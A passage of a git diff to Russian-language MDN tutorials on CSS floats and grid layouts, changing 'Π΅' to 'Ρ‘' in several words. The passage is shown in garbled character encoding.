-<p>Π’Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π·Π° ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΌ элСмСнтом, Π½ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, Ρ‡Ρ‚ΠΎ происходит Ссли Ρƒ вас имССтся высокий ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ с Π±Π»ΠΎΠΊΠΎΠΌ, ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ ΠΎΠ±Π° элСмСнта. Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΈ наш ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ Π±Π»ΠΎΠΊ Π±Ρ‹Π»ΠΈ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹ Π² {{htmlelement("div")}} с классом <code>wrapper</code>.</p>
+<p>Π’Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π·Π° ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΌ элСмСнтом, Π½ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, Ρ‡Ρ‚ΠΎ происходит Ссли Ρƒ вас имССтся высокий ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ с Π±Π»ΠΎΠΊΠΎΠΌ, ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌ ΠΎΠ±Π° элСмСнта. Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ваш Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΈ наш ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ Π±Π»ΠΎΠΊ Π±Ρ‹Π»ΠΈ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ Π² {{htmlelement("div")}} с классом <code>wrapper</code>.</p>
<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
&lt;div class="box"&gt;Float&lt;/div&gt;
@@ -313,11 +313,11 @@ translation_of: Learn/CSS/CSS_layout/Floats
<p>{{ EmbedLiveSample('Float_4', '100%', 600) }}</p>
-<p>И Π΅Ρ‰Π΅ Ρ€Π°Π·, Ρ‚Π°ΠΊ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ изымаСтся ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°. <span class="tlid-translation translation" lang="ru"><span title="">ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта Π½Π΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ с этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ очистки Π±Π»ΠΎΠΊΠ°, Π³Π΄Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ниТняя Ρ‡Π°ΡΡ‚ΡŒ Π±Π»ΠΎΠΊΠ° ΠΎΠ±Π΅Ρ€Π½ΡƒΠ»Π° </span></span>ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄Π°ΠΆΠ΅ Ссли ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΊΠΎΡ€ΠΎΡ‡Π΅. БущСствуСт Ρ‚Ρ€ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… способа Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, Π΄Π²Π° ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ ΠΏΡ€ΠΈ этом Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Ρ…ΠΈΡ‚Ρ€Ρ‹ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π½ΠΎΠ²Ρ‹ΠΉ способ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ справляСтся с этой ситуациСй.</span></span></p>
+<p>И Π΅Ρ‰Ρ‘ Ρ€Π°Π·, Ρ‚Π°ΠΊ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ изымаСтся ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°. <span class="tlid-translation translation" lang="ru"><span title="">ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ элСмСнта Π½Π΅ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ с этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ очистки Π±Π»ΠΎΠΊΠ°, Π³Π΄Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ниТняя Ρ‡Π°ΡΡ‚ΡŒ Π±Π»ΠΎΠΊΠ° ΠΎΠ±Π΅Ρ€Π½ΡƒΠ»Π° </span></span>ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π΄Π°ΠΆΠ΅ Ссли ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΊΠΎΡ€ΠΎΡ‡Π΅. БущСствуСт Ρ‚Ρ€ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… способа Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, Π΄Π²Π° ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½ΠΎ ΠΏΡ€ΠΈ этом Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Ρ…ΠΈΡ‚Ρ€Ρ‹ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π½ΠΎΠ²Ρ‹ΠΉ способ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ справляСтся с этой ситуациСй.</span></span></p>
<h3 id="Clearfix_hack">Clearfix hack</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ эта ситуация Ρ€Π΅ΡˆΠ°Π»Π°ΡΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ Β«clearfix hackΒ».</span></span> Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ вставку Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ сгСнСрированного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° послС Π±Π»ΠΎΠΊΠ°, содСрТащСго ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΎΠ±Π΅Ρ€Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π° Ρ‚Π°ΠΊΠΆΠ΅ настройки для очистки ΠΎΠ±ΠΎΠΈΡ….</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ эта ситуация Ρ€Π΅ΡˆΠ°Π»Π°ΡΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ³ΠΎ Β«clearfix hackΒ».</span></span> Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ вставку Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ сгСнСрированного ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° послС Π±Π»ΠΎΠΊΠ°, содСрТащСго ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π° Ρ‚Π°ΠΊΠΆΠ΅ настройки для очистки ΠΎΠ±ΠΎΠΈΡ….</p>
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS Π² наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -379,9 +379,9 @@ translation_of: Learn/CSS/CSS_layout/Floats
<h3 id="ИспользованиС_overflow">ИспользованиС overflow</h3>
-<p>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ β€” это Π·Π°Π΄Π°Ρ‚ΡŒ свойство {{cssxref("overflow")}} для ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ (wrapper) Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>visible</code>.</p>
+<p>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ β€” это Π·Π°Π΄Π°Ρ‚ΡŒ свойство {{cssxref("overflow")}} для ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ (wrapper) Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ <code>visible</code>.</p>
-<p>Π£Π΄Π°Π»ΠΈΡ‚Π΅ clearfix CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ добавляли Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ сСкции ΠΈ вмСсто Π½Π΅Π³ΠΎ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ <code>overflow: auto</code> ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ для ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ. Π‘Π»ΠΎΠΊ снова Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½.</p>
+<p>Π£Π΄Π°Π»ΠΈΡ‚Π΅ clearfix CSS ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ добавляли Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ сСкции ΠΈ вмСсто Π½Π΅Π³ΠΎ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ <code>overflow: auto</code> ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ для ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ. Π‘Π»ΠΎΠΊ снова Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½.</p>
<pre class="brush: css notranslate">.wrapper {
background-color: rgb(79,185,227);
@@ -433,7 +433,7 @@ translation_of: Learn/CSS/CSS_layout/Floats
<p>{{ EmbedLiveSample('Float_6', '100%', 600) }}</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡƒΡ‚Π΅ΠΌ создания Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ извСстно ΠΊΠ°ΠΊ <strong>Π‘Π»ΠΎΡ‡Π½Ρ‹ΠΉ ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ Ѐорматирования (block formatting context </strong>(BFC)<strong>). </strong>Π­Ρ‚ΠΎ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСй страницы, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ содСрТится всС, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ наш ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ элСмСнт находится Π²Π½ΡƒΡ‚Ρ€ΠΈ BFC ΠΈ Ρ„ΠΎΠ½ располагаСтся Π·Π° ΠΎΠ±ΠΎΠΈΠΌΠΈ элСмСнтами. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… случаях Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ полосу ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π΅Π·Π°Π½Π½Ρ‹Π΅ Ρ‚Π΅Π½ΠΈ ΠΈΠ·-Π·Π° <span class="tlid-translation translation" lang="ru"><span title="">Π½Π΅ΠΏΡ€Π΅Π΄Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½Ρ‹ΠΉ</span></span> послСдствий использования overflow.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΡƒΡ‚Ρ‘ΠΌ создания Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ извСстно ΠΊΠ°ΠΊ <strong>Π‘Π»ΠΎΡ‡Π½Ρ‹ΠΉ ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ Ѐорматирования (block formatting context </strong>(BFC)<strong>). </strong>Π­Ρ‚ΠΎ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСй страницы, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ содСрТится всС, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ наш ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ элСмСнт находится Π²Π½ΡƒΡ‚Ρ€ΠΈ BFC ΠΈ Ρ„ΠΎΠ½ располагаСтся Π·Π° ΠΎΠ±ΠΎΠΈΠΌΠΈ элСмСнтами. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… случаях Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ полосу ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π΅Π·Π°Π½Π½Ρ‹Π΅ Ρ‚Π΅Π½ΠΈ ΠΈΠ·-Π·Π° <span class="tlid-translation translation" lang="ru"><span title="">Π½Π΅ΠΏΡ€Π΅Π΄Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½Ρ‹ΠΉ</span></span> послСдствий использования overflow.</p>
<h3 id="display_flow-root">display: flow-root</h3>
diff --git a/files/ru/learn/css/css_layout/grids/index.html b/files/ru/learn/css/css_layout/grids/index.html
index 903cefd2be..931f326250 100644
--- a/files/ru/learn/css/css_layout/grids/index.html
+++ b/files/ru/learn/css/css_layout/grids/index.html
@@ -46,7 +46,7 @@ translation_of: Learn/CSS/CSS_layout/Grids
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_простых_Ρ€Π°ΠΌΠΎΠΊ_сСтки">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ простых Ρ€Π°ΠΌΠΎΠΊ сСтки</h2>
-<p>ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с рассмотрСния Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ сСтку для вашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°.</p>
+<p>ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с рассмотрСния Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ сСтку для вашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°.</p>
<p>Π’ настоящСС врСмя Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ° grid ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ с использованиСм ΠΏΠΎΠΏΠ»Π°Π²ΠΊΠΎΠ² (floats). Если Π²Ρ‹ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π»ΠΈ<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats"> Π½Π°ΡˆΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ ΠΏΠΎΠΏΠ»Π°Π²ΠΊΠ°Ρ…,</a> Π²Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ для создания раскладки Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… столбцов, Ρ‡Ρ‚ΠΎ являСтся ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒΡŽ любой сСтки, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΉ этот ΠΌΠ΅Ρ‚ΠΎΠ΄.</p>
@@ -58,7 +58,7 @@ translation_of: Learn/CSS/CSS_layout/Grids
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ сначала создадим сСтку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΡƒΡŽ столбцы фиксированной ΡˆΠΈΡ€ΠΈΠ½Ρ‹.</p>
-<p>НачнитС с создания локальной ΠΊΠΎΠΏΠΈΠΈ нашСго ΠΎΠ±Ρ€Π°Π·Ρ†Π° <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π² своСм Ρ‚Π΅Π»Π΅.</p>
+<p>НачнитС с создания локальной ΠΊΠΎΠΏΠΈΠΈ нашСго ΠΎΠ±Ρ€Π°Π·Ρ†Π° <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a> Ρ„Π°ΠΉΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π² своём Ρ‚Π΅Π»Π΅.</p>
<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
&lt;div class="row"&gt;
@@ -87,7 +87,7 @@ translation_of: Learn/CSS/CSS_layout/Grids
<p><img alt="" src="https://mdn.mozillademos.org/files/13901/simple-grid-finished.png" style="display: block; height: 50px; margin: 0px auto; width: 952px;"></p>
-<p>Π’ элСмСнтС {{htmlelement ("style")}} Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 980 пиксСлСй с отступом с ΠΏΡ€Π°Π²ΠΎΠΉ стороны 20 пиксСлСй. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ 960 пиксСлСй для нашСй ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ столбца/ΠΆΠ΅Π»ΠΎΠ±Π° - Π² этом случаС отступы Π²Ρ‹Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ ΠΈΠ· ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ содСрТимого, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ установили {{cssxref ("box-sizing")}} Π² Ρ€Π°ΠΌΠΊΡƒ ΠΏΠΎ всСм элСмСнтам Π½Π° сайтС (см. <a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Changing the box model completely</a> для большСго объяснСния).</p>
+<p>Π’ элСмСнтС {{htmlelement ("style")}} Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 980 пиксСлСй с отступом с ΠΏΡ€Π°Π²ΠΎΠΉ стороны 20 пиксСлСй. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ 960 пиксСлСй для нашСй ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ столбца/ΠΆΠ΅Π»ΠΎΠ±Π° - Π² этом случаС отступы Π²Ρ‹Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ ΠΈΠ· ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ содСрТимого, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ установили {{cssxref ("box-sizing")}} Π² Ρ€Π°ΠΌΠΊΡƒ ΠΏΠΎ всСм элСмСнтам Π½Π° сайтС (см. <a href="/en-US/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">Changing the box model completely</a> для большСго объяснСния).</p>
<pre class="brush: css notranslate">* {
box-sizing: border-box;
@@ -103,7 +103,7 @@ body {
padding-right: 20px;
}</pre>
